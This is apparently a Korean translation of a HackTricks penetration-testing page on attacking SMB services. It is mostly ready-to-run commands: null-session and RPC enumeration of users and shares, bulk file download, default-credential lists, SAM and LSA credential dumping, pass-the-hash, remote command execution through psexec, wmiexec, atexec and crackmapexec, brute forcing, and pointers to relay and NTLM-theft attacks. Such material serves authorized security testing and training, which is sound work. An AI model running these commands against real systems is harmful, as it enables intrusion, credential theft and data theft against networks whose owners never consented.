IPC$ 공유에 대한 액세스는 익명 널 세션을 통해 얻을 수 있으며, 이름 있는 파이프를 통해 노출된 서비스와 상호 작용할 수 있습니다. `enum4linux` 유틸리티는 이러한 목적에 유용합니다. 올바르게 활용하면 다음을 획득할 수 있습니다:
|
||||
|
||||
* 운영 체제에 대한 정보
|
||||
* 상위 도메인에 대한 세부 정보
|
||||
* 로컬 사용자 및 그룹의 컴파일
|
||||
* 사용 가능한 SMB 공유에 대한 정보
|
||||
* 효과적인 시스템 보안 정책
|
||||
|
||||
이 기능은 네트워크 관리자와 보안 전문가가 네트워크 상의 SMB (서버 메시지 블록) 서비스의 보안 포지션을 평가하는 데 중요합니다. `enum4linux`는 대상 시스템의 SMB 환경에 대한 포괄적인 정보를 제공하여 잠재적인 취약점을 식별하고 SMB 서비스가 적절하게 보호되었는지 확인하는 데 필수적입니다.
|
||||
|
||||
```bash
|
||||
enum4linux -a target_ip
|
||||
```
|
||||
|
||||
위의 명령어는 `enum4linux`가 `target_ip`로 지정된 대상에 대해 완전한 열거를 수행하는 방법의 예입니다.
|
||||
|
||||
## NTLM이란
|
||||
|
||||
NTLM이 무엇인지 모르거나 어떻게 작동하는지 및 어떻게 악용할 수 있는지 알고 싶다면, **NTLM**에 관한 이 페이지를 매우 흥미롭게 찾을 것입니다. 여기에서는 **이 프로토콜이 어떻게 작동하며 어떻게 그것을 악용할 수 있는지에 대해 설명되어 있습니다:**
|
||||
|
||||
{% content-ref url="../../windows-hardening/ntlm/" %}
|
||||
[ntlm](../../windows-hardening/ntlm/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## **서버 열거**
|
||||
|
||||
### **스캔**을 통해 호스트를 검색하는 네트워크:
|
||||
|
||||
```bash
|
||||
nbtscan -r 192.168.0.1/24
|
||||
```
|
||||
|
||||
### SMB 서버 버전
|
||||
|
||||
SMB 버전에 대한 가능한 취약점을 찾으려면 사용 중인 버전을 알아야 합니다. 다른 사용된 도구에서 이 정보가 나타나지 않는 경우 다음을 수행할 수 있습니다:
|
||||
|
||||
* **MSF** 보조 모듈 \_**auxiliary/scanner/smb/smb\_version**을 사용합니다.
|
||||
* 또는 이 스크립트를 사용합니다:
|
||||
|
||||
```bash
|
||||
#!/bin/sh
|
||||
#Author: rewardone
|
||||
#Description:
|
||||
# Requires root or enough permissions to use tcpdump
|
||||
# Will listen for the first 7 packets of a null login
|
||||
# and grab the SMB Version
|
||||
#Notes:
|
||||
# Will sometimes not capture or will print multiple
|
||||
# lines. May need to run a second time for success.
|
||||
if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi
|
||||
if [ ! -z $2 ]; then rport=$2; else rport=139; fi
|
||||
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
|
||||
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
|
||||
echo "" && sleep .1
|
||||
```
|
||||
|
||||
### **악용 검색**
|
||||
|
||||
```bash
|
||||
msf> search type:exploit platform:windows target:2008 smb
|
||||
searchsploit microsoft smb
|
||||
```
|
||||
|
||||
### **가능한** 자격 증명
|
||||
|
||||
| **사용자 이름** | **일반적인 암호** |
|
||||
| -------------------- | -------------------------------------- |
|
||||
| _(공백)_ | _(공백)_ |
|
||||
| guest | _(공백)_ |
|
||||
| Administrator, admin | _(공백)_, password, administrator, admin |
|
||||
| arcserve | arcserve, backup |
|
||||
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
|
||||
| backupexec, backup | backupexec, backup, arcada |
|
||||
| test, lab, demo | password, test, lab, demo |
|
||||
|
||||
### 브루트 포스
|
||||
|
||||
* [**SMB 브루트 포스**](../../generic-methodologies-and-resources/brute-force.md#smb)
|
||||
|
||||
### SMB 환경 정보
|
||||
|
||||
### 정보 획득
|
||||
|
||||
```bash
|
||||
#Dump interesting information
|
||||
enum4linux -a [-u "<username>" -p "<passwd>"] <IP>
|
||||
enum4linux-ng -A [-u "<username>" -p "<passwd>"] <IP>
|
||||
nmap --script "safe or smb-enum-*" -p 445 <IP>
|
||||
|
||||
#Connect to the rpc
|
||||
rpcclient -U "" -N <IP> #No creds
|
||||
rpcclient //machine.htb -U domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb --pw-nt-hash
|
||||
rpcclient -U "username%passwd" <IP> #With creds
|
||||
#You can use querydispinfo and enumdomusers to query user information
|
||||
|
||||
#Dump user information
|
||||
/usr/share/doc/python3-impacket/examples/samrdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
|
||||
/usr/share/doc/python3-impacket/examples/samrdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
|
||||
|
||||
#Map possible RPC endpoints
|
||||
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 135 [[domain/]username[:password]@]<targetName or address>
|
||||
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
|
||||
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
|
||||
```
|
||||
|
||||
### 사용자, 그룹 및 로그인된 사용자 열거
|
||||
|
||||
이 정보는 이미 enum4linux 및 enum4linux-ng에서 수집되어야 합니다.
|
||||
|
||||
```bash
|
||||
crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
|
||||
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
|
||||
crackmapexec smb 10.10.10.10 --groups --loggedon-users [-u <username> -p <password>]
|
||||
|
||||
ldapsearch -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "(&(objectclass=user))" -h 10.10.10.10 | grep -i samaccountname: | cut -f 2 -d " "
|
||||
|
||||
rpcclient -U "" -N 10.10.10.10
|
||||
enumdomusers
|
||||
enumdomgroups
|
||||
```
|
||||
|
||||
### 로컬 사용자 열거
|
||||
|
||||
[Impacket](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py)
|
||||
|
||||
```bash
|
||||
lookupsid.py -no-pass hostname.local
|
||||
```
|
||||
|
||||
한 줄 요약
|
||||
|
||||
```bash
|
||||
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
|
||||
```
|
||||
|
||||
### Metasploit - 로컬 사용자 열거
|
||||
|
||||
```bash
|
||||
use auxiliary/scanner/smb/smb_lookupsid
|
||||
set rhosts hostname.local
|
||||
run
|
||||
```
|
||||
|
||||
### **LSARPC 및 SAMR rpcclient 열거**
|
||||
|
||||
{% content-ref url="rpcclient-enumeration.md" %}
|
||||
[rpcclient-enumeration.md](rpcclient-enumeration.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Linux에서 GUI 연결
|
||||
|
||||
#### 터미널에서:
|
||||
|
||||
`xdg-open smb://cascade.htb/`
|
||||
|
||||
#### 파일 브라우저 창에서 (nautilus, thunar 등)
|
||||
|
||||
`smb://friendzone.htb/general/`
|
||||
|
||||
## 공유 폴더 열거
|
||||
|
||||
### 공유 폴더 목록
|
||||
|
||||
언제나 무언가에 접근할 수 있는지 확인하는 것이 좋습니다. 자격 증명이 없는 경우 **null 자격 증명/게스트 사용자**를 사용해 보십시오.
|
||||
|
||||
```bash
|
||||
smbclient --no-pass -L //<IP> # Null user
|
||||
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
|
||||
|
||||
smbmap -H <IP> [-P <PORT>] #Null user
|
||||
smbmap -u "username" -p "password" -H <IP> [-P <PORT>] #Creds
|
||||
smbmap -u "username" -p "<NT>:<LM>" -H <IP> [-P <PORT>] #Pass-the-Hash
|
||||
smbmap -R -u "username" -p "password" -H <IP> [-P <PORT>] #Recursive list
|
||||
|
||||
crackmapexec smb <IP> -u '' -p '' --shares #Null user
|
||||
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
|
||||
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user
|
||||
```
|
||||
|
||||
### **공유 폴더 연결/목록**
|
||||
|
||||
```bash
|
||||
#Connect using smbclient
|
||||
smbclient --no-pass //<IP>/<Folder>
|
||||
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
|
||||
#Use --no-pass -c 'recurse;ls' to list recursively with smbclient
|
||||
|
||||
#List with smbmap, without folder it list everything
|
||||
smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive list
|
||||
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
|
||||
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
|
||||
```
|
||||
|
||||
### **Windows 공유를 수동으로 열거하고 연결하기**
|
||||
|
||||
호스트 머신의 공유를 표시하는 것이 제한될 수 있으며, 공유 목록을 표시하려고 시도하면 연결할 수 있는 공유가 없는 것처럼 보일 수 있습니다. 따라서 공유에 수동으로 연결해 보는 것이 좋을 수 있습니다. 공유를 수동으로 열거하려면 유효한 세션(예: 널 세션 또는 유효 자격 증명)을 사용할 때 NT\_STATUS\_ACCESS\_DENIED 및 NT\_STATUS\_BAD\_NETWORK\_NAME과 같은 응답을 찾아볼 수 있습니다. 이러한 응답은 공유가 존재하고 액세스할 수 없는 경우 또는 공유가 전혀 존재하지 않는 경우를 나타낼 수 있습니다.
|
||||
|
||||
Windows 대상의 일반적인 공유 이름은 다음과 같습니다.
|
||||
|
||||
* C$
|
||||
* D$
|
||||
* ADMIN$
|
||||
* IPC$
|
||||
* PRINT$
|
||||
* FAX$
|
||||
* SYSVOL
|
||||
* NETLOGON
|
||||
|
||||
(\_**Network Security Assessment 3rd edition**\_에서 가져온 일반적인 공유 이름)
|
||||
|
||||
다음 명령을 사용하여 이러한 공유에 연결을 시도할 수 있습니다.
|
||||
|
||||
```bash
|
||||
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
|
||||
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
|
||||
```
|
||||
|
||||
또는 이 스크립트(널 세션 사용)
|
||||
|
||||
```bash
|
||||
#/bin/bash
|
||||
|
||||
ip='<TARGET-IP-HERE>'
|
||||
shares=('C$' 'D$' 'ADMIN$' 'IPC$' 'PRINT$' 'FAX$' 'SYSVOL' 'NETLOGON')
|
||||
|
||||
for share in ${shares[*]}; do
|
||||
output=$(smbclient -U '%' -N \\\\$ip\\$share -c '')
|
||||
|
||||
if [[ -z $output ]]; then
|
||||
echo "[+] creating a null session is possible for $share" # no output if command goes through, thus assuming that a session was created
|
||||
else
|
||||
echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME)
|
||||
fi
|
||||
done
|
||||
```
|
||||
|
||||
예시
|
||||
|
||||
```bash
|
||||
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
|
||||
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
|
||||
```
|
||||
|
||||
### **Windows에서 쉐어 목록 열거하기 / 서드파티 도구 없이**
|
||||
|
||||
PowerShell
|
||||
|
||||
```powershell
|
||||
# Retrieves the SMB shares on the locale computer.
|
||||
Get-SmbShare
|
||||
Get-WmiObject -Class Win32_Share
|
||||
# Retrieves the SMB shares on a remote computer.
|
||||
get-smbshare -CimSession "<computer name or session object>"
|
||||
# Retrieves the connections established from the local SMB client to the SMB servers.
|
||||
Get-SmbConnection
|
||||
```
|
||||
|
||||
CMD 콘솔
|
||||
|
||||
```shell
|
||||
# List shares on the local computer
|
||||
net share
|
||||
# List shares on a remote computer (including hidden ones)
|
||||
net view \\<ip> /all
|
||||
```
|
||||
|
||||
MMC 스냅인 (그래픽)
|
||||
|
||||
```shell
|
||||
# Shared Folders: Shared Folders > Shares
|
||||
fsmgmt.msc
|
||||
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
|
||||
compmgmt.msc
|
||||
```
|
||||
|
||||
explorer.exe (그래픽), 사용 가능한 숨겨지지 않은 공유를 보려면 `\\<ip>\`를 입력하십시오.
|
||||
|
||||
### 공유 폴더 마운트
|
||||
|
||||
```bash
|
||||
mount -t cifs //x.x.x.x/share /mnt/share
|
||||
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
|
||||
```
|
||||
|
||||
### **파일 다운로드**
|
||||
|
||||
자격 증명/패스 더 해시를 사용하여 연결하는 방법을 배우려면 이전 섹션을 읽으십시오.
|
||||
|
||||
```bash
|
||||
#Search a file and download
|
||||
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
|
||||
```
|
||||
|
||||
```bash
|
||||
#Download all
|
||||
smbclient //<IP>/<share>
|
||||
> mask ""
|
||||
> recurse
|
||||
> prompt
|
||||
> mget *
|
||||
#Download everything to current directory
|
||||
```
|
||||
|
||||
### 도메인 공유 폴더 검색
|
||||
|
||||
* [**Snaffler**](https://github.com/SnaffCon/Snaffler)\*\*\*\*
|
||||
|
||||
명령어:
|
||||
|
||||
* mask: 디렉토리 내의 파일을 필터링하는 데 사용되는 마스크를 지정합니다 (예: "" 모든 파일에 대해)
|
||||
* recurse: 재귀를 토글합니다 (기본값: 끔)
|
||||
* prompt: 파일 이름에 대한 프롬프트를 토글합니다 (기본값: 켬)
|
||||
* mget: 호스트에서 클라이언트 머신으로 마스크와 일치하는 모든 파일을 복사합니다
|
||||
|
||||
(_smbclient의 manpage에서의 정보_)
|
||||
|
||||
```bash
|
||||
Snaffler.exe -s -d domain.local -o snaffler.log -v data
|
||||
```
|
||||
|
||||
* [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) 스파이더.
|
||||
* `-M spider_plus [--share <share_name>]`
|
||||
* `--pattern txt`
|
||||
|
||||
```bash
|
||||
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
|
||||
```
|
||||
|
||||
특히 주목할 만한 것은 \*\*`Registry.xml`\*\*이라는 파일들인데, 이 파일들은 **그룹 정책을 통해 자동 로그온이 구성된 사용자들의 암호**를 포함할 수 있습니다. 또는 **`web.config`** 파일들인데, 이 파일들은 자격 증명을 포함할 수 있습니다.
|
||||
|
||||
{% hint style="info" %}
|
||||
**SYSVOL 공유**는 도메인의 모든 인증된 사용자가 **읽을 수 있는** 공유입니다. 여기에는 다양한 배치, VBScript 및 PowerShell **스크립트**가 포함될 수 있습니다.\
|
||||
내부의 **스크립트**를 확인해야 합니다. 그곳에서 **암호**와 같은 민감한 정보를 **찾을 수** 있을 수도 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
## 레지스트리 읽기
|
||||
|
||||
발견된 자격 증명을 사용하여 레지스트리를 **읽을 수** 있을 수 있습니다. Impacket \*\*`reg.py`\*\*를 사용하여 시도할 수 있습니다:
|
||||
|
||||
```bash
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
|
||||
```
|
||||
|
||||
## 포스트 익스플로잇레이션
|
||||
|
||||
**Samba** 서버의 기본 구성은 일반적으로 `/etc/samba/smb.conf`에 위치하며 일부 **위험한 구성**이 있을 수 있습니다:
|
||||
|
||||
| **설정** | **설명** |
|
||||
| --------------------------- | ------------------------------- |
|
||||
| `browseable = yes` | 현재 공유에서 사용 가능한 공유 목록을 허용합니까? |
|
||||
| `read only = no` | 파일의 생성 및 수정을 금지합니까? |
|
||||
| `writable = yes` | 사용자가 파일을 생성하고 수정할 수 있습니까? |
|
||||
| `guest ok = yes` | 비밀번호를 사용하지 않고 서비스에 연결을 허용합니까? |
|
||||
| `enable privileges = yes` | 특정 SID에 할당된 권한을 존중합니까? |
|
||||
| `create mask = 0777` | 새로 생성된 파일에 할당해야 하는 권한은 무엇입니까? |
|
||||
| `directory mask = 0777` | 새로 생성된 디렉토리에 할당해야 하는 권한은 무엇입니까? |
|
||||
| `logon script = script.sh` | 사용자 로그인 시 실행해야 하는 스크립트는 무엇입니까? |
|
||||
| `magic script = script.sh` | 스크립트가 닫힐 때 실행해야 하는 스크립트는 무엇입니까? |
|
||||
| `magic output = script.out` | 마법 스크립트의 출력을 저장해야 하는 위치는 어디입니까? |
|
||||
|
||||
명령어 `smbstatus`는 **서버** 및 **누가 연결되어 있는지**에 대한 정보를 제공합니다.
|
||||
|
||||
## Kerberos를 사용하여 인증
|
||||
|
||||
**smbclient** 및 **rpcclient** 도구를 사용하여 **kerberos**에 **인증**할 수 있습니다:
|
||||
|
||||
```bash
|
||||
smbclient --kerberos //ws01win10.domain.com/C$
|
||||
rpcclient -k ws01win10.domain.com
|
||||
```
|
||||
|
||||
## **명령어 실행**
|
||||
|
||||
### **crackmapexec**
|
||||
|
||||
crackmapexec은 **wmiexec**가 **기본** 방법인 **mmcexec, smbexec, atexec, wmiexec** 중 **어떤 것**이든 **남용**하여 명령을 실행할 수 있습니다. 사용하려는 옵션을 `--exec-method` 매개변수로 지정할 수 있습니다:
|
||||
|
||||
```bash
|
||||
apt-get install crackmapexec
|
||||
|
||||
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #Execute Powershell
|
||||
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #Excute cmd
|
||||
crackmapexec smb 192.168.10.11 -u Administrator -H <NTHASH> -x whoami #Pass-the-Hash
|
||||
# Using --exec-method {mmcexec,smbexec,atexec,wmiexec}
|
||||
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sam #Dump SAM
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --lsa #Dump LSASS in memmory hashes
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sessions #Get sessions (
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --loggedon-users #Get logged-on users
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --disks #Enumerate the disks
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --users #Enumerate users
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --groups # Enumerate groups
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --local-groups # Enumerate local groups
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --pass-pol #Get password policy
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --rid-brute #RID brute
|
||||
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
|
||||
```
|
||||
|
||||
### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)
|
||||
|
||||
두 옵션 모두 피해자 컴퓨터에 \_\pipe\svcctl\_을 통해 새 서비스를 **생성**하고 이를 사용하여 **무언가를 실행**합니다 (**psexec**은 실행 파일을 ADMIN$ 공유에 **업로드**하고 **smbexec**은 **cmd.exe/powershell.exe**를 가리키며 인수에 페이로드를 넣습니다 --**파일 없는 기술--**-).\
|
||||
[**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)및 [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)에 대한 **추가 정보**.\
|
||||
**kali**에서는 /usr/share/doc/python3-impacket/examples/에 위치합니다.
|
||||
|
||||
```bash
|
||||
#If no password is provided, it will be prompted
|
||||
./psexec.py [[domain/]username[:password]@]<targetName or address>
|
||||
./psexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
|
||||
psexec \\192.168.122.66 -u Administrator -p 123456Ww
|
||||
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
|
||||
```
|
||||
|
||||
**매개변수**`-k`를 사용하여 **NTLM** 대신 **kerberos**에 대해 인증할 수 있습니다.
|
||||
|
||||
### [wmiexec](../../windows-hardening/lateral-movement/wmicexec.md)/dcomexec
|
||||
|
||||
**포트 135**를 통해 **DCOM**을 사용하여 디스크를 건드리지 않고 새 서비스를 실행하지 않고 명령 셸을 은밀하게 실행합니다.\
|
||||
**kali**에서는 /usr/share/doc/python3-impacket/examples/에 위치합니다.
|
||||
|
||||
```bash
|
||||
#If no password is provided, it will be prompted
|
||||
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
|
||||
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
|
||||
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
|
||||
```
|
||||
|
||||
**매개변수**`-k`를 사용하여 **NTLM** 대신 **kerberos**에 대해 인증할 수 있습니다.
|
||||
|
||||
```bash
|
||||
#If no password is provided, it will be prompted
|
||||
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
|
||||
./dcomexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
|
||||
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
|
||||
```
|
||||
|
||||
### [AtExec](../../windows-hardening/lateral-movement/atexec.md)
|
||||
|
||||
\_\pipe\atsvc\_를 통해 작업 스케줄러를 통해 명령을 실행합니다.\
|
||||
**kali**에서는 /usr/share/doc/python3-impacket/examples/에 위치합니다.
|
||||
|
||||
```bash
|
||||
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
|
||||
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
|
||||
```
|
||||
|
||||
## Impacket 참조
|
||||
|
||||
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
|
||||
|
||||
## **사용자 자격 증명 브루트포스**
|
||||
|
||||
**이것은 권장되지 않습니다. 최대 허용 시도 횟수를 초과하면 계정이 차단될 수 있습니다**
|
||||
|
||||
```bash
|
||||
nmap --script smb-brute -p 445 <IP>
|
||||
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
|
||||
```
|
||||
|
||||
## SMB 릴레이 공격
|
||||
|
||||
이 공격은 Responder 툴킷을 사용하여 내부 네트워크에서 **SMB 인증 세션을 캡처**하고 **타겟 머신**으로 **릴레이**하는 것을 의미합니다. 인증 **세션이 성공하면**, 자동으로 **시스템 쉘**로 진입합니다.\
|
||||
[**이 공격에 대한 자세한 정보는 여기에서 확인하세요.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
|
||||
## SMB-Trap
|
||||
|
||||
Windows 라이브러리 URLMon.dll은 페이지가 SMB를 통해 일부 콘텐츠에 액세스하려고 시도할 때 호스트에 자동으로 인증을 시도합니다. 예를 들어: `img src="\\10.10.10.10\path\image.jpg"`
|
||||
|
||||
이는 다음 함수들로 발생합니다:
|
||||
|
||||
* URLDownloadToFile
|
||||
* URLDownloadToCache
|
||||
* URLOpenStream
|
||||
* URLOpenBlockingStream
|
||||
|
||||
이 함수들은 일부 브라우저 및 도구 (예: Skype)에서 사용됩니다.
|
||||
|
||||
![출처: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../.gitbook/assets/image (93).png>)
|
||||
|
||||
### MitMf를 사용한 SMBTrap
|
||||
|
||||
![출처: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../.gitbook/assets/image (94).png>)
|
||||
|
||||
## NTLM 도용
|
||||
|
||||
SMB 함정과 유사하게, 악의적인 파일을 대상 시스템에 심는 것 (예: SMB를 통해)은 SMB 인증 시도를 유도할 수 있으며, 이를 통해 NetNTLMv2 해시를 Responder와 같은 도구로 가로챌 수 있습니다. 해당 해시는 오프라인에서 해독되거나 [SMB 릴레이 공격](./#smb-relay-attack)에 사용될 수 있습니다.
|
||||
|
||||
[참조: ntlm\_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm\_theft)
|
||||
|
||||
## HackTricks 자동 명령어
|
||||
|
||||
```
|
||||
Protocol_Name: SMB #Protocol Abbreviation if there is one.
|
||||
Port_Number: 137,138,139 #Comma separated if there is more than one.
|
||||
Protocol_Description: Server Message Block #Protocol Abbreviation Spelled out
|
||||
|
||||
Entry_1:
|
||||
Name: Notes
|
||||
Description: Notes for SMB
|
||||
Note: |
|
||||
While Port 139 is known technically as ‘NBT over IP’, Port 445 is ‘SMB over IP’. SMB stands for ‘Server Message Blocks’. Server Message Block in modern language is also known as Common Internet File System. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network.
|
||||
|
||||
#These are the commands I run in order every time I see an open SMB port
|
||||
|
||||
With No Creds
|
||||
nbtscan {IP}
|
||||
smbmap -H {IP}
|
||||
smbmap -H {IP} -u null -p null
|
||||
smbmap -H {IP} -u guest
|
||||
smbclient -N -L //{IP}
|
||||
smbclient -N //{IP}/ --option="client min protocol"=LANMAN1
|
||||
rpcclient {IP}
|
||||
rpcclient -U "" {IP}
|
||||
crackmapexec smb {IP}
|
||||
crackmapexec smb {IP} --pass-pol -u "" -p ""
|
||||
crackmapexec smb {IP} --pass-pol -u "guest" -p ""
|
||||
GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all
|
||||
GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat
|
||||
GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/"
|
||||
getArch.py -target {IP}
|
||||
|
||||
With Creds
|
||||
smbmap -H {IP} -u {Username} -p {Password}
|
||||
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP}
|
||||
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
|
||||
crackmapexec smb {IP} -u {Username} -p {Password} --shares
|
||||
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
|
||||
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
|
||||
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request
|
||||
|
||||
https://book.hacktricks.xyz/pentesting/pentesting-smb
|
||||
|
||||
Entry_2:
|
||||
Name: Enum4Linux
|
||||
Description: General SMB Scan
|
||||
Command: enum4linux -a {IP}
|
||||
|
||||
Entry_3:
|
||||
Name: Nmap SMB Scan 1
|
||||
Description: SMB Vuln Scan With Nmap
|
||||
Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}
|
||||
|
||||
Entry_4:
|
||||
Name: Nmap Smb Scan 2
|
||||
Description: SMB Vuln Scan With Nmap (Less Specific)
|
||||
Command: nmap --script 'smb-vuln*' -Pn -p 139,445 {IP}
|
||||
|
||||
Entry_5:
|
||||
Name: Hydra Brute Force
|
||||
Description: Need User
|
||||
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb
|
||||
|
||||
Entry_6:
|
||||
Name: SMB/SMB2 139/445 consolesless mfs enumeration
|
||||
Description: SMB/SMB2 139/445 enumeration without the need to run msfconsole
|
||||
Note: sourced from https://github.com/carlospolop/legion
|
||||
Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'
|
||||
|
||||
```
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 제로부터 전문가까지 배우세요</strong></summary>
|
||||
|
||||
다른 방법으로 HackTricks를 지원하는 방법:
|
||||
|
||||
* **회사가 HackTricks에서 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬** [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [telegram 그룹](https://t.me/peass)에 **가입**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)을 **팔로우**하세요.
|
||||
